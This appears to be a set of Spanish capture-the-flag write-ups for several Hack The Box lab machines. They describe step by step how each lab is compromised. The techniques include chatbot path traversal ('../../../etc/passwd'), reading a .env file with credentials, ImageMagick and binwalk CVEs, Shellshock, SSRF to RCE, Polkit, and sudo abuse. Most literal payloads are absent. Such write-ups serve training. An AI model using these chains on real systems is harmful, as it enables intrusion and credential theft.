Al acceder a los borradores, encontramos que los empleados fueron removidos del blog y migrados a un nuevo sistema de chat privado. Además, se descubrió una URL de registro para este sistema:
Este enlace podría permitirnos acceder al chat y obtener más información interna. Como siguiente paso, exploraremos este sistema en busca de credenciales o datos sensibles.
Especificaremos nuestro nombre de usuario para finalizar el registro.
Al acceder finalmente al rocket.chat
, verificamos que pasado un tiempo se nos añade a un canal de grupo llamado general
en el cual parecen estar los empleados de la empresa.
Dentro del sistema de chat, encontramos un bot llamado Recvclops, aparentemente desarrollado por Dwight para responder preguntas frecuentes de los empleados. Sin embargo, lo más interesante es que el bot tiene acceso a archivos y directorios en la carpeta "Sales", lo que podría representar una vulnerabilidad si se puede interactuar con él de manera controlada.
Funcionalidades del bot:
Conversación básica: Puede responder preguntas generales sobre Dwight.
Chistes predefinidos: Responde preguntas específicas relacionadas con vendedores.
Acceso a archivos: Permite solicitar el contenido de archivos dentro del directorio Sales.
Listado de archivos: Puede enumerar los archivos disponibles en el directorio Sales.
Consulta de hora: Devuelve la hora actual.
Esto es particularmente interesante, ya que sugiere que el bot tiene permisos de lectura sobre archivos internos y puede actuar como un canal no autorizado para obtener información del sistema. Como siguiente paso, intentaremos interactuar con el bot para extraer archivos sensibles.
El siguiente paso, fue interactuar con el chatbot
, en el cual mediante el comando help
nos indicaba el listado de los comandos que podíamos utilizar.
Dado que el chatbot Recvclops tiene acceso a archivos en el directorio Sales, probamos sus funcionalidades de listado y lectura de archivos.
Listar archivos:
Ejecutamos recyclops list sales
y obtuvimos un listado del directorio Sales, lo que sugiere que el bot ejecuta un comando similar a ls
.
Leer archivos:
Intentamos recyclops file portfolio.txt
, un archivo que identificamos en el listado anterior.
El bot indica que usa un comando equivalente a cat
, pero en este caso no logramos visualizar el contenido del archivo.
Este comportamiento confirma que el chatbot tiene permisos de lectura en Sales y podría ser explotado para obtener información sensible. Como siguiente paso, probaremos si hay restricciones o formas de evadirlas.
Tras confirmar que el chatbot ejecuta comandos en el sistema, intentamos inyectar instrucciones adicionales utilizando operadores como &&
y ;
. Sin embargo, al hacerlo, recibimos el siguiente mensaje de error:
"Stop injecting OS commands!"
Esto indica que el bot tiene alguna validación para detectar intentos de ejecución de comandos arbitrarios. Como siguiente paso, evaluaremos si hay formas de evadir esta restricción o si podemos manipular la solicitud de otra manera para obtener ejecución de comandos en el sistema.
Tras confirmar que el chatbot ejecuta comandos en el sistema, intentamos acceder a archivos fuera del directorio Sales utilizando secuencias de ../
para movernos en la estructura de directorios.
Al ejecutar recyclops file ../../../etc/passwd
, logramos que el bot nos devolviera el contenido del archivo /etc/passwd
.
Esto confirma que podemos leer archivos arbitrarios en el sistema, funcionando como una vulnerabilidad de Local File Inclusion (LFI).
Este hallazgo nos brinda una vía potencial para obtener credenciales, configuraciones sensibles o incluso identificar usuarios con acceso al sistema. Como siguiente paso, intentaremos leer otros archivos críticos que puedan ayudarnos a escalar privilegios o comprometer el sistema.
Tras confirmar que podíamos leer archivos arbitrarios con recyclops file
, intentamos aprovechar el comando recyclops list
para explorar otros directorios:
Ejecutamos recyclops list ../
, lo que nos permitió listar el contenido de /home/dwight
. Dentro de este directorio, identificamos la presencia del archivo user.txt
.
Intentamos leerlo con recyclops file ../user.txt
, pero el bot devolvió un error de "Access Denied", indicando que hay restricciones de permisos sobre ciertos archivos.
Ahora que tenemos la capacidad de listar directorios y leer archivos arbitrarios en el sistema, exploraremos otras ubicaciones clave en busca de información sensible o credenciales que nos permitan avanzar en la explotación.
Continuamos explorando el sistema utilizando recyclops list
para identificar archivos de interés.
Ejecutamos recyclops list ../hubot
, lo que nos permitió listar el contenido del directorio hubot
.
Encontramos un archivo .env
, que es comúnmente utilizado para almacenar variables de entorno, incluyendo credenciales, claves API y configuraciones sensibles.
Dado que ya hemos demostrado la capacidad de leer archivos arbitrarios, intentaremos acceder al contenido de .env
para buscar información que nos ayude a escalar privilegios o comprometer otros servicios en el sistema.
Al ejecutar recyclops file ../hubot/.env
, logramos leer el contenido del archivo y encontramos información sensible:
Credenciales del usuario recyclops
rocketchat_user=recyclops
rocketchat_passwd=Queenofblad3s!23
Estas credenciales podrían permitirnos acceder a Rocket.Chat con el usuario recyclops
, lo que abre la posibilidad de obtener más información, interactuar con otros usuarios o incluso buscar vulnerabilidades dentro del sistema de mensajería. Procederemos a probarlas para evaluar su alcance.
Accederemos a http://chat.office.paper y probaremos de autenticarnos con las credenciales del usuario recyclops
encontradas en el archivo anterior.
Al intentar iniciar sesión en Rocket.Chat con las credenciales obtenidas (recyclops:Queenofblad3s!23
), nos encontramos con un mensaje de advertencia:
"Nice Try Skynet! Bots are not allowed to login via Web Console!"
Este mensaje indica que el usuario recyclops
está configurado como un bot y tiene restricciones para autenticarse a través de la interfaz web
Al aceptar el mensaje anterior, se nos muestra el acceso de recyclops
en el rocket.chat
, en el cual podemos localizar el chat que tiene abierto con nosotros y con otros usuarios, pero no conseguimos disponer de acceso, ya que inmediatamente se cerraba la sesión.
Dado que el usuario que creó este chatbot
era el usuario dwight
y dado que nos encontrábamos en su directorio con el chat, probaremos de autenticarnos al SSH
.
Verificamos que finalmente logramos obtener el acceso al sistema y logramos visualizar la flag user.txt.
Realizaremos una verificación inicial de los privilegios que dispone el usuario actual. Verificamos que no disponemos de algún grupo interesante ni permisos de sudoers
.
Por otro lado, también revisamos binarios con permisos de SUID
pero no logramos obtener nada interesante.
Realizaremos una enumeración con linpeas.sh
, este script que se encarga de realizar una enumeración del sistema Linux lo deberemos de disponer en nuestro equipo local.
Compartiremos el script mediante un servidor web.
Desde el equipo comprometido, nos descargaremos el script y le daremos los permisos de ejecución correspondientes.
En el resultado obtenido de la enumeración con linpeas.sh
, nos encontramos que la versión de sudo
parece ser vulnerable ya que se nos recalca en rojo.
Por otro lado, en el escaneo con linpeas.sh
se nos muestra que es vulnerable al siguiente CVE-2021-3560
.
Se descubrió que se podía engañar a polkit para que pasara por alto las comprobaciones de credenciales de las solicitudes de D-Bus, elevando los privilegios del solicitante al usuario root. Esta falla podría ser utilizada por un atacante local sin privilegios para, por ejemplo, crear un nuevo administrador local. La mayor amenaza de esta vulnerabilidad es para la confidencialidad e integridad de los datos, así como para la disponibilidad del sistema.
Verificaremos también la versión exacta de sudo
a través de los siguientes comandos.
Realizando una búsqueda del exploit. nos encontramos con el repositorio del creador de la máquina Paper
en el cual nos ofrecen un script en Bash
que realiza la explotación de Polkit
.
Nos descargaremos el script poc.sh
mediante el siguiente comando y lo compartiremos a través de un servidor web.
Desde el equipo vulnerable, nos descargaremos el script de poc.sh
que estamos compartiendo y le proporcionaremos los permisos de ejecución.
Realizaremos la explotación de la vulnerabilidad. Esta script básicamente lo que realiza finalmente es crear un usuario que tenga privilegios para posteriormente convertirnos en usuario root
.
Probablemente deberemos de repetir el proceso varias veces, ya que no suele funcionar a la primera. A continuación, se muestra que se ha creado el usuariosecnigma
correctamente y al acceder con su usuario y ejecutar un sudo bash
, finalmente logramos obtener acceso como root
y visualizar la flag root.txt
Pilgrimage
es una máquina Linux de dificultad fácil que presenta una aplicación web con un repositorio Git
expuesto. El análisis del sistema de archivos subyacente y el código fuente revela el uso de una versión vulnerable de ImageMagick
, que se puede utilizar para leer archivos arbitrarios en el objetivo mediante la incorporación de un fragmento tEXT
malicioso en una imagen PNG. La vulnerabilidad se aprovecha para obtener un archivo de base de datos SQLite
que contiene una contraseña de texto sin formato que se puede utilizar para acceder a la máquina mediante SSH. La enumeración de los procesos en ejecución revela un script Bash
ejecutado por root
que llama a una versión vulnerable del binario Binwalk
. Al crear otro PNG malicioso, se aprovecha CVE-2022-4510
para obtener la ejecución remota de código (RCE) como root
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Pilgrimage. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Nginx
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
.
Realizaremos una comprobación de las tecnologías que utiliza el sitio web.
Al acceder a la opción de Register
, comprobamos que podemos registrarnos correctamente.
Volviendo a la página principal, verificamos la opción de subir imágenes. Intentamos subir directamente un archivo PHP
, pero se nos indicaba mensaje de error.
Probamos de subir una imagen normal, al darle a la opción de Shrink
, se nos proporcionaba un enlace de la imagen redimensionada.
Accederemos al enlace, y comprobaremos que nos muestra la imagen subida redimensionada correctamente.
Realizando una enumeración de los directorios y páginas web presentes en la página web, nos encontramos un directorio /.git/
.
Accederemos al directorio que se nos ha generado, y comprobaremos la estructura de los archivos que disponemos. Entre ellos, nos encontramos archivos de lo que parece ser la página web.
Verificamos que disponemos de un archivo llamado magick
, al revisar el archivo, nos encontramos que se trata del ejecutable.
Le daremos permisos de ejecución al binario, y comprobaremos que la versión es la 7.1.0-49
.
Este archivo index.php
se encarga de procesar imágenes subidas por los usuarios y redimensionarlas utilizando ImageMagick
.
Primero, gestiona sesiones con session_start()
, verificando si hay un usuario autenticado. Luego, al recibir una solicitud POST
, usa la biblioteca bulletproof
para manejar la imagen.
Restricciones: Solo permite imágenes PNG y JPEG, con tamaños entre 100 bytes y 4 MB.
Almacenamiento temporal: Guarda la imagen en /var/www/pilgrimage.htb/tmp/
.
Procesamiento con ImageMagick: Usa exec()
para ejecutar convert
, redimensionando la imagen al 50% y almacenándola en /var/www/pilgrimage.htb/shrunk/
.
Registro en la base de datos: Si el usuario está autenticado, inserta la imagen en una base de datos SQLite ubicada en /var/db/pilgrimage
.
Mensajes de respuesta: Redirige a la página principal con un mensaje de éxito o fallo.
El siguiente archivo, login.php
, gestiona la autenticación de usuarios mediante una base de datos SQLite ubicada en /var/db/pilgrimage
.
Control de sesión: Si el usuario ya ha iniciado sesión, lo redirige automáticamente a dashboard.php
.
Manejo de credenciales: Al recibir una solicitud POST
, obtiene el username
y password
del formulario.
Consulta en la base de datos: Usa un SELECT
para buscar en la tabla users
dentro de la base de datos SQLite en /var/db/pilgrimage
, verificando si coinciden el usuario y la contraseña.
Inicio de sesión: Si las credenciales son válidas, almacena el nombre de usuario en $_SESSION['user']
y redirige a dashboard.php
.
Manejo de errores: Si la autenticación falla, redirige a login.php
con un mensaje de error.
Sabiendo que la aplicación web al realizar la redimensión de la imagen que le subimos y utiliza ImageMagick
para realizar esta conversión, decidimos buscar vulnerabilidades de la versión que nos encontramos del binario que al parecer utiliza.
Realizando una búsqueda por Internet, nos encontramos con el siguiente CVE-2022-44268
.
ImageMagick 7.1.0-49 es vulnerable a la divulgación de información. Cuando analiza una imagen PNG (por ejemplo, para cambiar su tamaño), la imagen resultante podría tener incrustado el contenido de un archivo arbitrario (si el binario de Magick tiene permisos para leerlo).
Realizando una búsqueda por Internet de proyectos en dónde se nos muestre cómo explotar dicha vulnerabilidad, nos encontramos con el siguiente repositorio que mediante un script de Rust
, podríamos a llegar a realizar la explotación.
Ejecutaremos el proyecto a través de cargo run
y le indicaremos el nombre del archivo que queremos leer, en este caso, el archivo es el de /etc/passwd
. El propio proyecto ya nos proporciona una imagen de prueba en la cual le inyectaremos la vulnerabilidad.
Revisaremos mediante exiftool
la imagen, y comprobaremos que en el Profile
se ha incrustado el archivo /etc/passwd
. Por lo tanto, si subimos esta imagen maliciosa en la página web y se redimensiona mediante ImageMagick
tal y como comprobamos anteriormente, si es vulnerable, posteriormente deberíamos poder listar el contenido del archivo arbitrario indicado.
Por lo tanto, subiremos esta nueva imagen en la página web y le daremos a la opción de Shrink
para redimensionar la imagen. Verificamos que se nos proporciona el enlace de la imagen redimensionada.
Nos descargaremos en nuestro equipo la imagen en local.
A través de identify
, comprobaremos la información de la imagen, en la cual en el apartado de Raw profile type
, se nos muestra un contenido codificado en Hex
. Parece ser que la vulnerabilidad está presente en la versión de ImageMagick
que realiza la redimensión de la imagen que subimos.
Mediante CyberChef
, descodificaremos el contenido indicado y verificaremos el resultado del archivo /etc/passwd
del sistema vulnerable.
Por lo tanto, tenemos una vía potencial de realizar un Arbitrary File Read
y obtener archivos del sistema objetivo.
Por otro lado, podemos realizar la explotación de esta vulnerabilidad manualmente. En el siguiente repositorio de GitHub, se nos muestra un PoC de cómo realizarlo.
El siguiente procedimiento muestra cómo hemos incrustado el contenido del archivo /etc/hosts
dentro de los metadatos de una imagen PNG y luego lo hemos verificado.
Utilizamos pngcrush
para agregar el contenido de /etc/hosts
en un campo de metadatos tEXt
dentro de la imagen image.png.
A través de exiv2
, verificamos que en los metadatos se ha incrustado correctamente.
Subiremos nuevamente la imagen maliciosa en la aplicación web para que se nos genere el enlace. Una vez generado el enlace, nos descargaremos la imagen redimensionada en nuestro equipo.
Al revisar con identify
la imagen descargada, volvemos a verificar que se nos proporcionan datos codificados en Hex
en el campo Raw profile type
.
Volviendo a descodificar en Hex
el contenido recibido, verificamos que hemos podido comprobar el contenido del archivo /etc/hosts
.
Realizando una búsqueda por Internet, nos encontramos con el siguiente repositorio de GitHub que realiza la explotación de la vulnerabilidad de manera más automatizada.
A continuación, se muestra una simple prueba de cómo poder explotar la vulnerabilidad con el script mencionado.
En nuestro caso, en la imagen image.png
que disponemos le indicaremos que el archivo a leer es /etc/group
y que nos devuelva el resultado en una imagen llamada gzzcoo.png
.
Verificaremos que se ha creado correctamente la imagen maliciosa y que en el campo Profile
de los metadatos, está presente el nombre del archivo a querer listar.
Subiremos manualmente la imagen maliciosa en la aplicación web y mediante el siguiente comando, le indicaremos la URL de la imagen redimensionada que nos ha generado la aplicación web y comprobaremos directamente el resultado del archivo listado.
Ahora que tenemos la capacidad de listar el contenido de archivos del sistema, deberemos de encontrar aquel archivo que nos pueda llegar a proporcionar información interesante.
En nuestro caso, se probaron de intentar obtener las credenciales privadas SSH (id_rsa
) de usuarios, verificar archivos de configuración, etc pero no logramos obtener resultado.
Recordando que disponemos de los archivos de configuración de la aplicación web encontrados en el /.git/
, nos encontramos que en el archivo login.php
se indica la ubicación de la base de datos de SQLite3
de los usuarios de la aplicación web.
Con lo cual, podríamos intentar verificar si podemos obtener el archivo de la base de datos y ver su contenido.
Por lo tanto, en nuestra imagen de prueba image.png
, le indicaremos que el archivo a leer sea el de la base de datos ubicada en /var/db/pilgrimage
y se nos devuelva la imagen maliciosa con el nombre gzzcoo.png
.
Verificamos que en el apartado de Profile
de los metadatos de la imagen se ha indicado correctamente el archivo a obtener.
Subiremos la imagen maliciosa en la aplicación web y obtendremos la URL de la imagen redimensionada.
A través del script de Python, al indicarle la URL de la imagen, se nos proporcionaba el siguiente mensaje de error. Esto es debido a que el archivo a querer listar se trata de un binario codificado actualmente en Hex
, pero la función principal del script es descodificarlo en Hex
para mostrarlo en ASCII
.
Nos descargaremos la imagen en nuestro equipo y verificaremos a través de identify
que en el campo Raw profile type
se muestra el contenido del binario de la base de datos.
El valor inicial de 53514c69
corresponde a los primeros bytes de una base de datos SQLite, que empieza con la cadena "SQLite" (en formato hexadecimal: 53 51 4c 69
).
Guardamos todo el contenido en un archivo llamado data
. Posteriormente, utilizamos el comando xxd
para convertirlo de vuelta a su formato binario original, generando el archivo sqlite.db
.
Mediante sqlite3
accederemos a la base de datos. Enumerando las tablas presentes, nos encontramos con la tabla users
la cual nos presenta las credenciales en texto plano del usuario emily
.
También podemos visualizar en entorno gráfico a través de la herramienta de sqlitebrowser
.
Trataremos de acceder al SSH
del equipo con las credenciales encontradas. Finalmente, logramos obtener acceso al sistema y visualizar la flag de root.txt.
Al acceder al sistema, verificamos los procesos que se encuentran en ejecución mediante el comando ps aux
. En el resultado obtenido, comprobamos que el usuario root
ejecuta un script que se encuentra en /usr/bin/malwarescan.sh
.
El siguiente script malwarescan.sh
se encarga de monitorear la creación de archivos en el directorio /var/www/pilgrimage.htb/shrunk/
y realizar un escaneo para detectar posibles archivos maliciosos.
Monitoreo de archivos: El script utiliza inotifywait
para monitorear en tiempo real el directorio /var/www/pilgrimage.htb/shrunk/
y detectar la creación de nuevos archivos.
Análisis de archivo: Cuando se crea un archivo en el directorio, se obtiene el nombre del archivo utilizando una combinación de comandos echo
, tail
y sed
. Este nombre se almacena en la variable filename
.
Uso de binwalk: Luego, el archivo es analizado con binwalk
, una herramienta utilizada para detectar contenido binario, archivos ejecutables y otras estructuras dentro del archivo. El resultado del escaneo se guarda en la variable binout
.
Verificación contra la lista negra: El script compara el contenido del archivo con una lista negra definida al inicio ("Executable script"
y "Microsoft executable"
). Si alguna de estas cadenas aparece en el resultado del escaneo, el archivo se considera sospechoso.
Eliminación de archivos maliciosos: Si el archivo contiene alguna de las cadenas de la lista negra, el script elimina el archivo sospechoso usando rm
.
Este script está diseñado para ayudar a prevenir la ejecución de archivos maliciosos en el servidor al monitorear de manera continua y eliminar automáticamente aquellos archivos que coincidan con las firmas de los ejecutables no deseados.
En el script se menciona el uso del binario de binwalk
, con lo cual decidimos revisar la versión instalada en el equipo por si tenía alguna vulnerabilidad de la que nos podamos aprovechar.
Revisando por Internet, nos encontramos que la versión de Binwalk v2.3.2
era vulnerable a Remote Code Execution (RCE)
reportado en el siguiente CVE-2022-4510
.
Se identificó una vulnerabilidad de recorrido de ruta en binwalk de ReFirm Labs desde la versión 2.1.2b hasta la 2.3.3 incluida. Al crear un archivo de sistema de archivos PFS malicioso, un atacante puede hacer que el extractor PFS de binwalk extraiga archivos en ubicaciones arbitrarias cuando binwalk se ejecuta en modo de extracción (opción -e). La ejecución remota de código se puede lograr construyendo un sistema de archivos PFS que, tras la extracción, extraiga un módulo binwalk malicioso en la carpeta .config/binwalk/plugins. Esta vulnerabilidad está asociada con los archivos de programa src/binwalk/plugins/unpfs.py. Este problema afecta a binwalk desde la versión 2.1.2b hasta la 2.3.3 incluida.
Nos encontramos el siguiente repositorio de GitHub en el cual nos proporcionaban un PoC y el exploit para aprovecharnos de la vulnerabilidad.
En nuestro caso, dispondremos de una imagen normal llamada image.png
. Utilizaremos el exploit para inyectar en la imagen una Reverse Shell hacía nuestro equipo remoto. Verificamos que se nos genera una nueva imagen llamada binwalk_exploit.png
el cual compartiremos a través de un servidor web.
Por otro lado, nos pondremos en escucha con nc
para recibir la conexión.
Desde el equipo comprometido, nos dirigiremos al directorio /var/www/pilgrimage.htb/shrunk
para descargar la imagen maliciosa que estamos compartiendo desde nuestro servidor. Si todo funciona correctamente y el script que ejecuta root
detecta este nuevo archivo, será analizado por el binario de binwalk
y al ser una versión vulnerable, nos deberá proporcionar la Reverse Shell.
Verificamos que finalmente ganamos acceso al sistema como usuario root
y podemos visualizar la flag root.txt.
Shocker
, aunque bastante simple en general, demuestra la gravedad del famoso exploit Shellshock, que afectó a millones de servidores públicos.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Shocker. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
y un servicio SSH
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos una comprobación de las tecnologías que utiliza el sitio web.
Realizamos una enumeración básica de directorios y páginas y no logramos obtener ninguna información al respecto.
Realizamos nuevamente una enumeración de páginas con extensión html
y php
pero tampoco logramos obtener información relevante.
A través del parámetro -f
lo que le indicamos a Feroxbuster
de añadir un slash /
al final de cada petición que se realiza, esto debido que posiblemente podamos encontrar más información de posibles directorios.
En el resultado obtenido, logramos enumerar el directorio /cgi-bin/
.
Realizaremos una búsqueda de archivos ejecutables que se puedan encontrar en el directorio /cgi-bin/
. Finalmente logramos enumerar un archivo llamadouser.sh
.
El endpoint /cgi-bin/user.sh
está ejecutando un script en el servidor y devolviendo su salida.
Análisis de la respuesta:
Content-Type: text/x-sh → El servidor está sirviendo un archivo de script de shell (.sh
).
Just an uptime test script → Mensaje que indica que el script solo muestra el uptime del sistema.
19:11:10 up 5 min, 0 users, load average: 0.00, 0.03, 0.01 → Resultado del comando uptime
, lo que sugiere que el script ejecuta comandos del sistema.
Si el servidor ejecuta el script sin restricciones, podríamos probar Shellshock o command injection enviando una carga en la cabecera User-Agent
o como parámetro en la URL.
Shellshock (CVE-2014-6271) es una vulnerabilidad en Bash que permite ejecutar comandos arbitrarios a través de variables de entorno manipuladas. Se explota inyectando código malicioso en cabeceras HTTP o parámetros de CGI cuando el servidor usa Bash para ejecutar scripts.
GNU Bash hasta la versión 4.3 procesa las cadenas finales después de las definiciones de funciones en los valores de las variables de entorno, lo que permite a atacantes remotos ejecutar código arbitrario a través de un entorno diseñado, como lo demuestran los vectores que involucran la característica ForceCommand en OpenSSH sshd, los módulos mod_cgi y mod_cgid en el servidor HTTP Apache, scripts ejecutados por clientes DHCP no especificados y otras situaciones en las que la configuración del entorno ocurre a través de un límite de privilegios desde la ejecución de Bash, también conocido como "ShellShock". NOTA: la solución original para este problema era incorrecta; CVE-2014-7169 se ha asignado para cubrir la vulnerabilidad que aún está presente después de la solución incorrecta.
Nos encontramos con el siguiente repositorio de GitHub que nos mostraba un simple PoC de cómo intentar explotar el ShellShock
.
Modificaremos el encabezado de User-Agent
para inyectarle el siguiente código malicioso. Verificamos que en la respuesta por parte del servidor, hemos logrado la ejecución de comandos.
El siguiente paso, será lograr obtener una Reverse Shell para acceder al sistema. Nos pondremos en escucha con nc
.
Inyectaremos el siguiente código malicioso en el User-Agent
para establecernos la Reverse Shell.
Verificaremos que logramos acceder al sistema y visualizar la flag de user.txt.
Revisaremos los grupos a los que forma parte el usuario shelly
. Por otro lado, al verificar si disponíamos de permisos de sudoers
, nos encontramos que tenemos la capacidad de ejecutar como sudo
sin proporcionar credenciales el binario de /usr/bin/perl
.
En la página de GTFOBins
podemos encontrar diferentes maneras de cómo abusar de privilegios de binarios con sudoers
. Nos encontramos la respectiva entrada del binario perl
.
También, podemos realizar la misma consulta a través de la siguiente herramienta de searchbins
que realiza la consulta de GTFOBins
desde la misma terminal.
Realizamos la ejecución del comando que se nos proporciona en GTFOBins
y finalmente logramos abusar del binario /usr/bin/perl
como sudo
y logramos el acceso a root
. Finalmente, comprobamos la flag de root.txt.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Sau. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abiertos el servicio SSH y una página web de Golang
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Verificamos que podemos crear un nuevo Basket
, probaremos de ver primero cómo funciona la herramienta.
Se nos generará un nuevo Basket
con un Token
, abriremos el Basket
para probar sus funcionalidades.
Verificaremos el siguiente panel en el cual todas las respuestas al Basket
creado aparecerán en el sitio web.
Hacemos una prueba de enviar una petición por GET
al Basket
creado y comprobamos que se nos ve reflejada en el Basket
.
En las opciones presentes, nos aparece la opción de Configuración en la cual nos permite realizar un Forward
hacía una dirección URL. En esta prueba, nos levantamos un servidor web y configuramos el Basket
para que haga el Forward
hacía nuestro servidor.
Enviamos una petición por GET
y comprobamos que recibimos la solicitud, por lo tanto, parece ser que el Forward
se está realizando.
Probaremos de informar en el Forward
que rediriga al localhost del propio servidor, para ver si podemos realizar un Server Side Request Forgery
.
Al acceder al Basket
creado, comprobamos que hemos sido redirigidos a una página interna deñ servidor, por lo que parece ser que el SSRF
se ha realizado correctamente.
Otra de las maneras que encontramos de explotar de manera automática esta vulnerabilidad, es a través del siguiente repositorio de GitHub.
Ejecutaremos el exploit indicándole la URL target y dónde queremos que se realice el SSRF
hacía el localhost de la propia máquina. Comprobaremos que se nos ha creado un nuevo Basket
en donde podemos verificar el Server Side Request Forgery
.
Accederemos al Basket
del SSRF
realizado y verificaremos que se trata de un panel de inicio de sesión de Maltrail v.053
.
Revisando posibles vulnerabilidades del software, nos encontramos con el siguiente exploit el cual se aprovecha de los campos del formulario de inicio de sesión para conseguir un Remote Code Execution (RCE)
.
En una termianl nos pondremos en escucha para recibir la Reverse Shell.
Lanzaremos el exploit indicándole nuestra dirección IP y puerto donde estaremos en escucha y el Basket
vulnerable a SSRF
que hemos creado anteriormente.
Revisaremos que ganamos acceso a la máquina y podemos visualizar la flag de user.txt.
Revisando los permisos sudoers que dispone el usuario puma
, nos encontramos que el usuario puede ejecutar como sudo el comando /usr/bin/systemctl status trail.service
.
Sabiendo que podemos ejecutar el systemctl
como usuario sudo
. El objetivo es ejecutar la instrucción y que se ponga en modo "paginate" como con el comando LESS
. En caso de que nos deje, podremos ejecutar comandos fuera del output y proporcionarnos una bash como usuario root
. Logramos visualizar la flag de root.txt.
En caso de que no se nos pusiera en modo less
, podemos jugar con el tamaño de columnas y filas stty
para convertir la terminal más pequeña y al ejeuctar el systemctl
se nos ponga en modo paginate.
PC
es una máquina Linux de dificultad fácil que cuenta con un punto final gRPC
que es vulnerable a la inyección SQL. Después de enumerar y volcar el contenido de la base de datos, las credenciales de texto sin formato conducen al acceso SSH
a la máquina. Al enumerar los puertos que se ejecutan localmente, se revela una versión obsoleta del servicio pyLoad
, que es susceptible a la ejecución remota de código (RCE) previa a la autenticación a través de CVE-2023-0297
. Como el servicio lo ejecuta root
, explotar esta vulnerabilidad conduce a privilegios completamente elevados.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina PC. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentra el servicio SSH
en el puerto 22
expuesto y un servicio llamado grpc
en el puerto 50051
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
De los puertos expuestos que se encuentran en la máquina, solamente disponemos del puerto 50051
que corresponde al servicio de gRPC
para tratar de buscar alguna vulnerabilidad, poder encontrar información que nos permite acceder al equipo, etc.
Realizando una búsqueda por Internet, nos encontramos con el siguiente blog en el cual nos mostraban diferentes técnicas y ejemplos de cómo enumerar el servicio de gRPC
en el ámbito del pentest
.
Al intentar realizar la enumeración, se nos mostraba un mensaje de error indicando que el servidor no respondió con el protocolo TLS
, ya que gRPC
normalmente funciona con TLS
de manera predeterminada.
Realizamos una comprobación del panel de ayuda de la herramienta y comprobamos que tenemos la opción -plaintext
para indicar a grpcurl
que no utilice TLS
.
A través de la directiva list
, hemos podido enumerar los servicios del servidor. En este caso, nos encontramos con un servicio llamado SimpleApp
y otro denominado ServerReflection
.
El servicio ServerReflection
permite realizar consultas al servidor para obtener información sobre los servicios disponibles, como los métodos y tipos de mensajes que maneja, sin necesidad de tener acceso previo a los archivos .proto
. Esto facilita la introspección dinámica del servidor y nos da visibilidad sobre su estructura, lo cual puede ser clave para interactuar con él de manera efectiva.
Al ejecutar el comando grpcurl
para listar los métodos disponibles en el servicio SimpleApp, encontramos las siguientes funciones disponibles:
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
Estos métodos nos permiten interactuar con el servicio y realizar diversas acciones, como iniciar sesión, registrar usuarios o recuperar información.
Al ejecutar el comando grpcurl
para describir el servicio SimpleApp
, obtuvimos la siguiente estructura del servicio:
SimpleApp
es un servicio que ofrece tres métodos RPC:
LoginUser: Recibe un mensaje de tipo .LoginUserRequest
y devuelve un mensaje de tipo .LoginUserResponse
.
RegisterUser: Recibe un mensaje de tipo .RegisterUserRequest
y devuelve un mensaje de tipo .RegisterUserResponse
.
getInfo: Recibe un mensaje de tipo .getInfoRequest
y devuelve un mensaje de tipo .getInfoResponse
.
Estos métodos permiten interactuar con el servicio SimpleApp y realizar las operaciones correspondientes de acuerdo a los tipos de mensajes definidos.
Al ejecutar el comando grpcurl
para describir los mensajes asociados a los métodos del servicio SimpleApp
, obtuvimos la siguiente estructura de mensajes:
LoginUserRequest: Es un mensaje que contiene dos campos:
username
: tipo string
password
: tipo string
LoginUserResponse: Es un mensaje que contiene un campo:
message
: tipo string
RegisterUserRequest: Es un mensaje que contiene dos campos:
username
: tipo string
password
: tipo string
RegisterUserResponse: Es un mensaje que contiene un campo:
message
: tipo string
getInfoRequest: Es un mensaje que contiene un campo:
id
: tipo string
getInfoResponse: Es un mensaje que contiene un campo:
message
: tipo string
Estos mensajes están estructurados para ser enviados y recibidos durante la ejecución de las funciones del servicio SimpleApp
, facilitando la comunicación entre el cliente y el servidor.
Al realizar la solicitud con grpcurl
para registrar un nuevo usuario, hemos obtenido la siguiente respuesta.
Esto indica que se ha creado correctamente la cuenta para el usuario gzzcoo1
con la contraseña Gzzcoo123
.
Al realizar la solicitud con grpcurl para iniciar sesión con el usuario gzzcoo1 y la contraseña Gzzcoo123, obtuvimos la siguiente respuesta:
message: "Your id is 435."
Además, en los encabezados de la respuesta, se nos entregó un token de autenticación válido:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZ3p6Y29vMSIsImV4cCI6MTc0MDAzMTMyNX0.P0skEoAiBqW6BiH6E4m1nOutqPax4bGItF0mg0BPcjo'
Este token está asociado al usuario gzzcoo1 con el id 435 y puede usarse para realizar solicitudes autenticadas en futuras interacciones con el servicio SimpleApp.
La respuesta que recibimos indica que la solicitud para obtener información a través del método getInfo
fue rechazada debido a un error de autorización.
Esto significa que necesitamos incluir el token de autenticación en la cabecera de la solicitud para que el servidor nos permita acceder a la información. Podemos hacerlo añadiendo el token que recibimos anteriormente al encabezado token
.
